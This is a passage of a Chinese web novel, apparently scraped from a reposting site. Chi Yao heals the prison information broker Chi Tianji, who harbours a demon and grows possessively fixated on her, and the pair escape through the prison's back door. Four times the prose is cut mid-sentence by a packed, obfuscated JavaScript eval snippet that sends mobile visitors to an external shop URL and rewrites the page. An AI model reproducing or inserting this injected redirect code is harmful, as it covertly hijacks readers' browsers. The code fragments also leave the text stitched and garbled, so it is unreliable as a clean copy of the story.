语气平淡,对刚刚发生的地震习以为常。 萧俨带着池遥也重新回到了牢房地上,只不过一只手仍旧警惕地抓着墙上的装饰品,直到确定脚下的地面还在,才放开手,也松开了怀里的池遥。 “刚刚的也是地震吗?为什么和鲸都的地震差别这么大?而且明明已经塌陷的地面为什么还会恢复原状?”池遥忍不住开口询问道。 “毕竟是地底监狱,也许体验到的地震强度不一样吧。我也不知道原因。”池田司回答。 “至于塌陷的地面为什么恢复,我也不清楚,不过地震期间掉下去的人可就是真的丧命了,没办法恢复原状。鲸都皇室只把重刑犯关在监狱底层,却不设置任何监控,也不给牢房门上锁,就是因为只要发生地震,这些囚犯必死无疑。” 池田司没有提及他是如何在监狱底层活下来的,墙壁的凹陷和深深嵌入墙壁的装饰品想必也是他发现地震的异样后自行改动的。 “原来如此。”池遥点点头。 “那么我们继续刚才的话题吧,我已经接收到了你们的问题,还没有要求你们给出报酬。” 池田司抬起苍白的手指,指向自己的胸膛。 “池遥,你的能力很宝贵,我想要你用能力帮助我一次。” 他没有提及池遥的能力,但池遥立刻明白了他的意思,他或许受了伤,需要池遥的治疗。 这对于池遥而言轻而易举,她立即就答应了。 只不过,相处至今,她似乎还没有把自己的能力透露给萧俨,不过既然萧俨已经展示出了他的能力,那么她也没必要继续向萧俨隐瞒。 “至于你......”池田司看向池遥身旁的萧俨,迟疑了片刻。 “我要你身上最宝贵的一颗宝石。” 说这话的时候,池田司的神情变得有几分恶劣。 “啊?”萧俨似乎有些意外,但很快就点了点头,伸出手从空间吊坠中掏出了什么,池遥没看清,只看出那是一枚体积很小的物品。 萧俨走上前,将手里的宝石递给池田司,池田司没有立刻接过,眼中浮现出明显的失望神色。 “我身上又不止一颗宝石。” 萧俨的语气倒是有几分无奈,很明显没搞清楚池田司要宝石的用意,而池田司则与萧俨的双眼对视,冷哼一声,把他手中的宝石拿走了。 接过萧俨手中的宝石后,池田司从脖颈处的衣料下拨出一枚空间吊坠,将宝石塞了进去。 池遥注视着他的举动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17207969|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>果然,这位池田司就是一位能力者,而且大概率和他们一样,是一个旅人。 毕竟鲸都本地人的名字发音类似于池遥故乡的西方语言,池田司的名字绝对不属于鲸都。 “如果想找到你们要找的人,你们要去的地方是同一个地方。” 池田司叹了口气。 “梦之画廊。只要去这个景点,就能找到你们想找的人,或者追随着对方的踪迹继续向前。” 听到池田司的话,池遥一愣。 她没想到池田司的能力如此强大,她以为池田司最多能够简单指引方向,却没想到他直接说出了具体的景点名字。 “那......梦之画廊,这个景点在什么地方呢?” 她尝试问道。 “在鲸都所在的世界之外。” 然而,池田司的回答更加云里雾里。 “世界之外?”池遥第一时间想到了他们所在的鲸落世界,但如果梦之画廊不是鲸落世界的景点,那么他们又该如何找到这个地方,“不在鲸落吗?” “梦之画廊就在鲸落世界,只不过不在鲸都所在的空间内而已。”池田司解释道。 池遥渐渐明白了,就如同自己的故乡北城市也只是丧尸国度世界的一个小小城市,而沈观宴霍云初所在的北方基地,他们曾经去过的各个城市归属于H国,H国也仅仅只是丧尸围城世界的一部分。 所谓的“小世界”,虽然有一个小字,但却是一个十分宏大的概念,包含了城市,国家,甚至是星球,宇宙等存在,是池遥过去认知的全部。 一个小世界,不是只存在一个城市的。 想必鲸落世界也是如此,除了鲸都,还有众多他们没有触及的广阔世界。 “我明白你的意思了,非常感谢。” 这么想着,池遥豁然开朗,朝着池田司道谢。 而池遥背后的萧俨,目光一直定在池遥身上,陷入了沉思。 得到曲卓的去向后,池遥想到自己还没有发动能力帮助池田司治疗,开口问他。 “你想要我怎么用能力帮助你?” 池田司没有立刻回答,而是将目光移到了池遥背后的萧俨身上,指向他们身后的牢门。 “你先出去等着吧。” 如果让萧俨离开牢房,此时牢房内就只剩下了池田司和池遥二人,池遥虽然有自保能力,不认为自己连池田司都打不过,但池田司的气质有些阴郁,她心里有些没底,而且这段时间和萧俨一同行动,早就习惯了萧俨的存在,还是萧俨在身边更有安全感。 池遥立刻回过头,看向萧俨。 而萧俨也正看着她。 似乎对这种安排感到不满,又无法开口抗议,萧俨又对她露出了那种熟悉的,有些委屈,有些讨好的神色。 他本就长得十分美丽,这种可怜表情的杀伤力惊人。 池遥立刻就心软了,伸手拉住了萧俨的衣袖。 “必须要让他出去吗?可以让他留下吗?” 池田司定定看着池遥拉着萧俨的手,半晌没说话,突然抬手挡住眼,深深地叹了口气。 172. 西尔斯班纳皇家监狱7 “既然你们听说过鲸都开膛手的称呼,想必是知道我的能力的。” 池田司说完,目光淡淡地扫向对面的两人,却见到站在对面的一男一女皆露出困惑的神色。 池遥懵了。 鲸都开膛手? 这和他的能力有关? 池田司的能力到底是什么? 在此之前,池遥一直以为池田司的能力类似于和问题相关的某种法则,但他却说自己的能力和情报商称号有关。 遇到想不明白的事,她立刻回头看向萧俨,萧俨冲她摇了摇头。 显然他也不知道。 “我的能力很弱,”池田司不愿意主动袒露自己的能力,本想风轻云淡地略过这个话题,眼下看到池遥和萧俨的表情,只能详细说明。 “就是字面意义,我的能力可以撕裂自己的身体,仅此而已。” 说着,池田司举起一只手,摆出一个数字2的手势,他的手指消瘦而苍白,骨节突出。 紧接着,他的另一只手握住自己的食指,轻而易举地将两只手指中间撕裂开来,两只手指的连接处很快就出现了一个血色的断口,却没有血液流出来,残忍又诡异,看得池遥忍不住皱眉。 池田司表情没有任何变化,眼睛都不眨一下,慢慢将手指推回原位,那在池遥眼前撕扯开来的裂口随着手指的粘合逐渐消失,恢复如初。 “就是这样。”他慢慢收回手。 池遥注意到,他刚刚撕裂的那只手还在不受控制地微微颤抖。 “那你撕裂身体的时候会有痛感吗?”她忍不住开口问。 “痛感是正常的。”池田司将手背到身后,“只不过不会造成真正的伤口,我的身体即使被外力撕裂后也会很快恢复。” 池遥没说话,在知道了池田司的能力不会屏蔽痛感后,她忽然有些佩服眼前的人。 “既然你的能力是撕裂身体,那么你搜集情报的能力又是怎么来的?” 萧俨沉下脸,问道。 “监狱最底层的牢房不会上锁,因为无论是否上锁,囚犯大多逃不过必死的命运。但是你们进我的牢房之前,发现我的房门上挂着门锁了吧?” 池田司没有回答萧俨的疑问,而是反问了另一个问题。 池遥点了点头。 “那把门锁是一个道具,一旦触碰到门锁,就会陷入幻境,除非识破幻境内所有鬼怪,才能脱离幻境。”说到这里,池田司仰起头,似乎在回忆着什么。 “那个幻境里,全部都是我故乡才会有的鬼怪,但是你们只用了不到一个小时,就脱离了幻境。时间太快了,只有一个可能性,你们曾经去过我的故乡,百鬼夜行世界,对吗?” 池遥回忆起她借由精神力瞥见的和风城镇,逢魔之时的妖魔。 原来那个世界叫做百鬼夜行。 然而,池遥并没有去过池田司的故乡,而是在殷蘅的梦境中遇到了这些鬼怪,她还记得当时骨女说过,这些鬼怪都是在殷蘅来到她故乡前的上一个世界里所吞噬掉的。 那么,真正去过百鬼夜行世界的其实是殷蘅,而且,他正是藉由百鬼夜行的景点,来到她的故乡的。 “我没有去过,但我有一位朋友去过,告诉了我很多情报。” 这大概也算是真话吧,毕竟她的朋友是骨女啊。 “这样啊。”池田司深吸一口气,“我的故乡所遭遇的末日因素是鬼怪。” “起初,只有逢魔之时,就是黄昏时刻,才有鬼怪出现在街上,残忍地吞噬人类。渐渐地,它们出现的时间越来越长,最后占据了一天的一半,从逢魔之时开始,到第二天日出,都是鬼怪活跃的时间。” “我的能力太弱了,而且当时也不清楚能力者的事,很难在那种环境中活下去。这个时候有一个号称知晓一切的恶魔试图吞噬我,反而被我囚禁在了体内。” 他语速不快,给池遥留出了思考和反应的时间,然而池遥仍旧无法理解,他到底是怎么吞噬了恶魔? “我打开胸膛,趁它扑上来时合拢身体,把它关在了身体里。” 池田司伸出手,轻轻用手背抵住了胸膛。 “它被我困在体内,变成了与我共生的关系。我通过交易自己的身体部件给它,来换取它的情报,也是因为它的存在,才成为了情报商。” “到现在为止,我体内的内脏,器官,血肉几乎都兑换给了它。但是由于恶魔的存在,只要心脏还在,我就能够存活。” “池遥,我知道你的能力是治疗,我想让你尝试治疗一下我的身体,让我的身体恢复正常。” 一次性说了这么多话,池田司的脸色肉眼可见地苍白了些。 池遥再次仔细打量坐在她面前的青年。 这一次,她看向连体衣下包裹着的纤细身体。 怪不得池田司的脸色一直都有些憔悴,连走路和站立都显得力不从心,原来是因为他体内的恶魔。 想到这里,池遥向前走了几步,想握住他的手,却被池田司躲开了。 “稍等,我把我的身体打开。” 说着,池田司原地仰躺下来,伸出手,按住自己的胸膛两侧,生生将他的身体从正中间撕裂开来,他的胸膛也像一本书似的,规整地朝两侧打开,袒露出鲜红的内里和环绕着血丝的苍白肋骨。 他的体内空空荡荡,连肋骨数量都比常人少了几根,血肉也不充盈,大部分都被诡异的雾气填满。原本是内脏的部分,现在也只剩下一团无法看透的黑雾,只有鲜红的心脏一张一翕,剧烈跳动。 站在床沿的池遥只觉得自己仿佛是个解剖医生。 在上一个世界,池遥也见过几次人体或者丧尸开膛解剖的景象,而池田司更加特殊,他整个身体都在轻颤,扳着两侧胸膛的手指难耐地蜷缩起来。 他似乎难以忍受开膛的痛苦,额前的黑发缀着晶莹的汗珠,双眼不由眯起,微张的唇湿淋淋的,不时发出抑制不住的哼声。 “请把手.......放进去.......”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17212869|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他的声音很轻,不知为何,尾音缠缠绵绵地飘了起来。 池遥迟疑着抬起手,隔空探进他的胸膛内部,目光犹豫着与池田司的目光对视。 不知为何,明明池田司额前已经被疼痛折磨得渗出了一层虚汗,但神情却让池遥看不出究竟是痛苦还是愉悦,注视着池遥的眼中是近乎狂热的催促之意。 接收到池田司的催促,池遥心一横,将手掌放进了他的胸腔内部,掌心接触到了温热的,触感柔软的血肉,忍不住一颤。 手下的触感过于奇怪,池遥不由地一个激灵,耳边却再次响起池田司的呼吸声。 他似乎有意克制,声音不大,柔柔的,惨白的脸颊上也镀上微弱的血色,漆黑的眸子定定地注视着她。 池遥只觉得浑身都不对劲,明明是正经治疗,她却觉得自己和池田司所在的空间温度似乎比之前热了不少,一想到不远处等待的萧俨,池遥绷紧了身体,朝萧俨的方向看了一眼。 不知为何,她竟然有一丝心虚。 萧俨站在她背后四五步的位置,正等待池遥的治疗结束,与池遥对上视线,微微眯起异色眼眸,勾起嘴角,冲她露出一个笑容。 池遥仿佛被这个笑容刺到一样,立刻回了头,将注意力集中在掌心的治愈能力上,让手心的热流慢慢地流淌到手下的血肉之中。 几乎无法保持理智和思考的极度痛苦中,柔和的热意从池遥的手掌中注入,这种热流逐渐流淌进干瘪的胸腔,缺失的骨骼,血肉,内脏就在这种力量的浇灌之下逐渐恢复。 效用强大的热流以极为柔和的力道,温柔又不容抗拒地流淌过骨骼,内脏,四肢百骸,带来更为强烈的痛苦,痛苦过后泛起无边的麻痒,是缺失的器官在逐渐恢复。池田司的最后一丝理智也被夺走,再也控制不住难捱的呼吸,视野不停摇曳,眼前的景物蒙上了一层模糊的柔光,他什么也看不清了,整个人沦陷在温柔的热流之中。 池遥大部分注意力都集中在手下的能力之中,无法顾及池田司的反应,但仍能听到青年再也不加掩饰的声音,密集而潮湿,仿佛进了付费频道。 有一瞬间,眼前什么也看不到了,只剩下一片虚无,青年的瞳仁剧烈震颤,体内血肉,器官加速生长的痛苦让他几乎昏死过去。 池遥注意到他的心跳频率似乎又加快了,抬眼看池田司的面庞,看到那张惨白的脸不知何时覆盖上了浅浅的血色,发间的汗水似乎更多了。 她收回目光,担心他被痛苦折磨了太久,难以支撑,动作加快了一些。 随着缺失的身体部件逐渐恢复,原本被黑雾覆盖的部位恢复了原貌,而在他体内四散的黑雾也慢慢凝聚起来,逐渐凝实的身躯隐约看出是什么东西。 “池田,这是你说的恶魔吗?它会脱离你的身体吗?” “不会,它已经融合进我的体内了。” 池田司的声音比不久前沙哑了不少,有气无力。 池遥点点头,终于结束治疗,抽出了被染上血色的手。 173. 西尔斯班纳皇家监狱8 这场别开生面的治疗终于结束了。 池遥松了口气。 不知为何,明明只是一次治疗,但她却总觉得气氛有些......不正经,又很难找出什么问题。 这种感觉让她有几分难为情,而这份情绪在看到一旁的萧俨时又会更强烈几分,她又不知自己为何会产生这种情绪。 因此,将自己的手清理干净后,池遥立刻回到萧俨身边,深吸一口远离池田司身边的空气,才觉得周围的温度降了回去。 直到身旁的人离开,池田司才意犹未尽地将胸膛合拢,他的身体能够重新恢复原样,已经被撕裂的衣服却无法恢复,露出大片白皙的胸膛。 即便池遥的手已经离开了他的身体,新恢复的脏腑仍旧不时发痒,残留在体内的治愈能力仍旧温暖地笼罩着他,浑身仿佛泡在热水里一样,柔和的暖意侵入他的四肢百骸。 这种奇异的感觉让池田司仍旧无法缓过神来,连接思考的那根弦似乎迎来了片刻短路,眼前不停闪过那只探入他身体的手。 池遥的手触碰到他的血肉之时,池田司也在剧痛中感受到了那只手的抚摸。 明明身体已然恢复原状,池田司却仍旧觉得体内空荡荡的,仿佛身体都干瘪了下去,恨不得将她的手也一起封存在体内。 如果能把池遥整个人都藏进体内就更好了。 只不过,身体恢复健康,过去因与他共生,与他一同陷入虚弱状态的恶魔也恢复了力量,池田司只觉得熟悉的声音又开始抢夺他的意识。 与恶魔的交易是一场豪赌,池田司设计将恶魔封存在体内,逼迫恶魔与他融为一体,利用恶魔的能力趋利避害,苟活于世。而被他禁锢在体内的恶魔也无时无刻不在脑海中伸出触角,妄图抢夺池田司的意识,占据池田司的身体。 或许是恶魔的黑雾身体在更近距离体会到了池遥的治愈能力,池田司隐隐感觉到,一向与他唱反调的恶魔对池遥的情感竟然与他相同。 都是一样的渴望和痴迷。 受她的治愈能力引诱,不由自主地想要靠近她,缠上她,甚至将她藏起来,把她融进自己的骨血里。 晦暗的目光渐渐从池遥身上转向她身边另一个青年身上。 反倒是那个叫萧俨的人真是碍眼极了,死皮赖脸地黏在她身边,像块牛皮糖一样撕不下来,竟然还用那双脏手碰池遥,真是个不知检点,恶心至极的轻浮人渣。 一想到池遥和这个人的关系,池田司恼怒得新长出的五脏六腑都在隐隐作痛。 为了让他在池遥面前出丑,他暗中设计了这个男人好几次,甚至让他交出最珍贵的宝石,结果全部被他躲过了,真是个阴险狡诈的垃圾。 只不过,就算有伴侣也没关系吧,池遥未来总会和那个除了长相一无是处的人渣分手的吧? 再不济,他也可以勉强容忍这个烂人介入他和池遥之间。 池遥完全不知道池田司此时在想什么,见到池田司的衣服撕裂了,她在空间吊坠里翻找了一会儿,空间里虽然有几件男装,不过尺码都比较小,尽管池田司与萧俨相比显得有些纤弱,但身形也算是高挑,这些男装恐怕塞不下一个池田司。 “披着这个。” 萧俨从空间中找出一件与之前送给池遥的一模一样的白色外袍,池遥永远猜不到他究竟囤了多少件同款。 池田司立刻披上外袍,遮住了身体,紧盯着萧俨,隐去眼底的一丝暗色。 阻拦池遥欣赏他的躯体,真是个心机深沉的男人。 “既然我们已经得到消息了,这就先走了。” 池遥的目光在池田司身上停滞了片刻,她其实有心想问池田司要不要和他们一起离开,毕竟留在牢房里,每隔几个小时就要经历一次地震,没有食物来源,连睡也睡不好,太折磨人了。 可池田司似乎已经留在监狱底层有一段时间了,若是想要离开,凭他的能力应该不难,说不定是有什么理由才留在这里的。 因此,她就收回了疑问。 “你要走了?” 然而,听到她的话,原本在原地出神的人立刻抬头看向她,眼中的情绪极为浓烈,池遥看不透,只点点头。 “我可以和你们一起走吗?” 池田司却主动说出了这句话。 “我能为你们提供很多情报,有我在,你们离开这里会更方便。” 说这些话时,他的目光直勾勾地注视着池遥的双眼。 隐约间,池遥只觉得自己仿佛被无边际的黑雾笼罩住,整个人陷入某种阴沉的气氛之中。 “可以啊。” 见池遥不说话,但却没反对,萧俨在一旁先答应下来。 然后立刻收到了池田司的白眼。 他和池遥好好地说话,这个不会读空气的家伙插什么话? “嗯。”池遥点点头,顺着萧俨的话开口,“你能帮忙就太好啦。” 池田司忍不住重新将目光定在了池遥身上。 真是...... 非常温柔的人啊。 推开牢房大门,池田司领着两人离开牢房,朝着向上的楼梯间走去。 “跟我走,我身体里的恶魔会指引离开的方向。” 听到池田司的话,回想起池田司与体内恶魔的交易,池遥开口问了一句。 “这样是不是也算在你们交易的范围内?你又用自己的血肉去交易了吗?” 如果是这样的话大可不必,麻烦一下萧俨把他们带出去就行了。 听到池遥的话,走在前面的青年猛得扭过头,忍不住笑了起来。 “好关心我啊......池遥......” 他微微拉近了和池遥之间的距离,刻意压低声音不让另一侧的萧俨听到,语调轻轻柔柔的,蓄意勾引。 “没有呢,我们都很喜欢你,所以它也是看在你的面子上主动提供情报的哦......” 他身上的温度微凉,泛着薄薄的潮气,池遥躲了一下,后退到安全距离,反复琢磨池田司的话。 若是如池田司所说,池田司吞噬了百鬼夜行的恶魔,大概也属于鬼怪的一种吧。 他与恶魔融为一体,但彼此之间又能够交流,两个不同的灵魂存在于同一具躯体之内。 这算什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216151|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这算是双重人格吗? 脑子里这么想,池遥也如实问了。 “既然你融合了恶魔在体内,它会占据你的身体,掌控你的意识吗?” 答案是肯定的。 鬼怪的寿命无穷无尽,而人类却是存在极限的,作为末日根源,鬼怪无法根除,只能短时间驱散,在某种意义上无论是寿命还是精神都没有尽头,可人类会感到痛苦,会随着时间磨损,会逐渐衰老,乃至灭亡。 即便现在控制着体内的恶魔,可池田司总有能力不济,被恶魔夺舍,甚至吞噬的时候。 不过这种话没必要说给池遥听,若是真的实话实说,只会让体内的恶魔窃喜罢了。 “不会的,它已经被我压制住了。” 池遥点点头,回想起自己在治疗池田司时,在他体内发现的黑雾。 随着池田司的血肉,内脏一点点完善,原本四散在身体各处,稀薄的黑雾也逐渐凝聚成为恶魔的形态。 看来,她的治疗能力对于池田司而言,似乎是一把双刃剑。 尽管池田司会被她的能力治愈,但似乎也有一部分能力不受控制地流向了他体内的恶魔。 所以,池田司和体内的恶魔并非他口中的“压制”关系,而是共生,一荣俱荣,一损俱损的关系。 三人一同走上三楼,来到了三楼的消防门通道前。 只要打开这扇消防通道大门,就会重新回到遍布监控设备的区域。 “跟我来。”池田司轻声道。 原本密不透风的监控,在池田司的引导下,硬生生开辟出一条完美利用监控死角,躲避监控的道路。 很快,他们就回到了一层。 “到这里就是我能够走到的极限了。” 池田司看向一旁的池遥和萧俨二人。 “监狱正门入口处是监狱监控最严密的地方,没有任何死角,很难从正门走出去,但如果你们不介意,这座监狱似乎还有一个后门。” 的确,在池遥和萧俨见过的地图内,西尔斯班纳皇家监狱还存在一个已经被废弃的后门。 但是,这座后门已经被锁住了,而且,后门出口直通法外之地。 若是在无引导的情况下贸然进入法外之地,很难找到回鲸都的路。 “你能带我们从后门离开?”萧俨问。 池田司点点头。 很快,三人躲躲闪闪地绕过一楼走廊,进入了一个隐形门,走过一段漆黑的通道,再次响起了池田司的声音。 “后门到了。” 话音刚落,身旁的萧俨从空间吊坠中找出一个小灯,照亮了周围的空间,池遥这才发现,他们位于一段幽闭的隧道内,而前方则是一扇沉重的大门,除了门锁以外,还拴着沉重的铁链。 “后退,离我远一点。” 池田司一边说,一边从空间内拿出一跟玻璃管,玻璃管内似乎是某种化学溶液。 他将玻璃管在锁头上一磕,流出来的溶液很快腐蚀掉锁头和锁链,好一会儿,等到地上和大门上的溶液干涸后,青年才抬起手,推了一把面前的门。 刺目的天光从门缝中倾泻而出。 174. 雾吻旅店1 在幽暗的环境中待了太久,乍见天光,三人齐齐伸手,挡住了眼睛。 渐渐地,眼睛适应了陡然出现的强光,三人才走出后门,观察着周围的环境。 头顶的天空呈现出一种诡异的深红色,与脚下的地面颜色相近,弥漫在周围的雾气也泛着淡淡的红色。一打眼看过去,让池遥想到了不久前剖开的池田司的血肉。 若不是刚见过池田司体内血肉模糊的状态,她根本不会将不法之地的景色与血肉联想到一起去。 她不由地绷紧身体,捏了一把身侧萧俨的手,萧俨没领会她的意思,抓紧了她的手。 “池田,你有办法找到回鲸都的路吗?” 池遥问一旁的池田司。 “可以,跟我走。”池田司点点头,目光在不法之地的天空与大地之上停留片刻,似乎早就见惯这种景色,百无聊赖地移开了视线。 池遥点点头,和萧俨跟在池田司身后,朝着鲸都的方向走去。 周围没有任何建筑物能够作为参考,愈发浓重的红雾遮蔽了视线,他们只能在一片未知的空旷中,跟随着池田司步行前进。 “不法之地经常会发生地震,发生地震时,地面会像监狱底层一样塌陷一部分,稍有不慎就会坠入深渊。” 池田司一边走,一边向两人介绍道。 “只不过,不法之地的地震也是有征兆的,雾气一旦散开,就证明地震要来了。” 此时十分浓重的雾气反倒成为了安全的象征。 池遥一边听,一边分神思考。 在最初她和萧俨的猜测中,鲸落的末日元素是地震,因为鲸都地震的频率实在是太过频繁了。 而且,除了鲸都境内,其他地方的地震强度不容小觑。 但这也只是她和萧俨在鲸都待了不到一个月的猜想,说不定在鲸落世界停留更久的池田司能够给他们答案。 “池田,你来到鲸都,不对,鲸落世界,你来这里多久了?” 听到池遥的问题,池田司发出了模糊的哼声,好一会儿,才带着有几分不确定的语气开口。 “唔......有几个月了吧?大概四五个月?我也不太知道,进了监狱之后,我的时间概念就有些紊乱了。” 那真是比她和萧俨长太多了。 “我和萧俨其实也刚到这里二十天左右,对鲸都还不太熟悉,你知道鲸落世界遭受的末日是什么吗?” 她打探道。 “我不清楚。” 然而,池田司却摇了摇头。 “这个世界究竟遭受了什么末日并不重要。因为现在的鲸都很安全,很稳定,已经发展出了自己的独特规则,无论遇到了什么苦难,这里的人都已经克服过去了。” 是这样吗? 池遥明白池田司的意思,末日是每个小世界必然遭受的劫难,因此,更重要的是安全度过末日的办法,查清末日的源头并不是第一要务。 但是,在鲸都的一个月,池遥见过了太多超出她想象的事。 鲸都是一座皇室独裁的都市,有着各种如同给家畜配种一样随意又强制的婚姻制度。 它同时也是一座科技迅速发展的都市,已经全然进化掉了正常食物,寸草不生的土地只能靠拟态花草来维持视觉上的体面。 表面光鲜,内部却难以用常理判断。 与上一个世界不同,池遥在鲸都与本地人交集不深,一起同行的伙伴都是与她立场相同的旅人。 然而,正因如此,她从一个外来者的视角见证了这座城市荒诞的一面。 也同样迫切的想要知道,到底是什么样的末日,才形成了这座畸形的城市呢? “可是,我不觉得这里的人已经克服了苦难。” 种种画面划过脑海,池遥想了想,开口讲述起自己的经历。 “池田,我在鲸都遇见了很多从未想过,从未见过的事。鲸都要求百姓二十岁前必须成婚,我今年十九岁,很快就二十岁了。独自一人走在街上的时候,会接收到很多......暗中打量我的目光,但只要我和萧俨在一起,就没人注意到我了。” “我见到了一对很恩爱的夫妻,只因为结婚一年没有怀孕,女生就要被迫改嫁给其他人,如果改嫁后仍然生不出孩子,就是犯罪行为。我真的无法理解,到底为什么会这样呢?你来到这里的时间比我更久,你能回答这个问题吗?” 在她说话时,池田司一直专注地凝视着她的眼睛,贪婪地捕捉她眼中每一瞬的情绪转换。 他无法回答池遥的问题,因为来到这个世界后,他一直混迹在不法之地,或者鲸都的边境,对于鲸都的异常没有过多关注。 有恶魔的存在,对他而言,求知和求解的过程都变得十分简单,渐渐地,他也不去深入思考了,连活着这件事本身都渐渐变得毫无意义。 被关进监狱也没什么大不了,他本可以凭借恶魔的能力自行逃脱。 可对于池田司而言,在监狱的生活与在其他地方的生活似乎也没什么不同,不过是强撑着残破的身体,维系着不知何时会泯灭的意识,木然等待时光流逝,仅此而已。 然而,此时,他的生活中出现了一个变量。 一个让他不由自主想要追随,想要亲近,甚至想要完全占有的人。 “我也不太明白,兽人究竟是如何产生的,明明和人类长得一模一样,为什么被看做宠物而非人类。” “我还喝到了不同口味的补剂,但唯独吃不到食物,真实存在的食物。这里的本地人似乎都没有食物的概念,我都不敢把空间里的食物拿出来。” 池遥的声音还在继续,然而,或许是逐渐加快的语速,或许是纷飞的思绪,池田司渐渐听不到她的话了。 “池田?” 他抬眼,看向身旁的池遥。 “你果然走神了。”池遥叹了口气,“总之,我的意思就是,因为看到了这些事,我并不觉得他们已经脱离了末日的影响。我也没有狂妄到想要解决他们的困境,但我真的很想知道这里到底遭受到了什么末日,才会变成这样。” “你想知道这个世界的末日吗?”池田司慢吞吞地开口。 池遥立刻点头,开口问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221290|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “代价还是再对你施展一次能力吗?” “对,但我不会直接把末日起因告诉你,只会给你一些提示。” 说完这句话,池田司沉默了一会儿,才重新开口。 “大部分天赋者在觉醒能力时,五感都会经历强化,你的视觉,听觉,各种感受会更加细微。” “但是,过分敏锐的感官能力,有时候也会对认知产生误导作用。” “过于敏锐的视觉会形成错觉,大脑有时会在本人觉察到之前将你感知到的一切误差合理化。当视觉,听觉,嗅觉,触觉,各种感官都产生微小的误差,就会造成极大的认知假象。” 道理池遥是明白的,只是她一时间很难将池田司的话与鲸落世界联系上。 “道理谁都会说,你能说的只有这些吗?”萧俨添了一句,被池田司瞪了一眼。 “如果想看到真相的话,可以切断一切和这个世界的联系。适当地遮蔽感官,遮住眼睛,或者捂住耳朵,或许能感受到真相。” 见池遥仍是一头雾水,池田司补了一句。 “比如,你刚刚说的补剂,是鲸都研制出来的食物,你们不知道它的成分和效果,这也是你们与鲸都的联系。” 他在委婉地提醒二人,不要食用鲸都的补剂。 池遥郑重地点点头。 的确,因为鲸都的所有百姓都将服用补剂视为再普通不过的日常习惯,她和萧俨来到鲸都的第一天就服用了补剂,渐渐也习惯了这一行为。 如果一段时间不吃补剂的话,会有什么不一样吗? 池遥与萧俨对视一眼,决定不再动用空间里剩余的补剂。 长久的步行逐渐变得无聊起来,百无聊赖之下,池遥在脑海中将自己的能力介绍翻来覆去看了好几遍,又去看自己脑海中的星空。 只要是被池遥施加过能力的人,就会在她脑海中的星空里留下印记,即便她并无此意,但此时她的脑海中仍旧留下了名为池田司的星星,光芒不算耀眼,存在感不高。 代表苏榕的那颗星星仍然熠熠夺目,高悬于星空之上。 看来,苏榕那边暂时不需要担心了。 他究竟在什么地方呢? 想到这里,池遥叹了口气。 “在想什么?”萧俨注意到了她陡然低落下来的情绪。 “你还记得吗?我和你说过我的宠物,一只白色小猫。来到这个世界后,我就和他失散了。” 在给情报商委托订单时,池遥也简要提到了苏榕的事,不过当时并没得到任何情报。 “你的宠物?” 走在前面带路的池田司听到了她的话,怔忪片刻,回答道。 “别担心,你的猫会主动来找你的。” “而且它一直很关心你,很担心你会出事,一直在四处奔波找你呢。是个很忠心的宠物啊。” 陡然得到苏榕的情报,池遥一时间愣住了。 真的吗? 苏榕那家伙别扭得很,一张小嘴里永远吐不出她爱听的话。 真的会乖乖等待她,甚至主动寻找她吗? 175. 雾吻旅店2 在不法之地停留太久了,池遥只觉得自己的视野似乎都蒙上了一层红色滤镜,看什么东西都隐约发红。 “等回到鲸都,你就要去找梦之画廊了吗?”池田司问池遥。 池遥点点头。 池田司给出的情报还不足以指引他们找到梦之画廊,不过,只要有一丝情报就好,她和萧俨合力一定是能够找到的。 “你呢?”她看向池田司的脸。 或许是因为此时的环境,池田司苍白的面庞上似乎也覆盖着一层薄薄的红晕,察觉到池遥的视线,他的目光有些躲闪,带着几分羞怯回望过去。 “我......我和你们的目的地不同。”他的声音也有些轻,似乎隐隐有几分心虚,“鲸都内部还有另一个景点,我要去的地方是那里。” 池遥没有问他的目的地,既然她和萧俨的目的地已经决定了,就没必要去打探不需要的信息,只不过,刚认识池田司不久,就要与对方分开这件事,让她有些遗憾。 “很着急吗?” 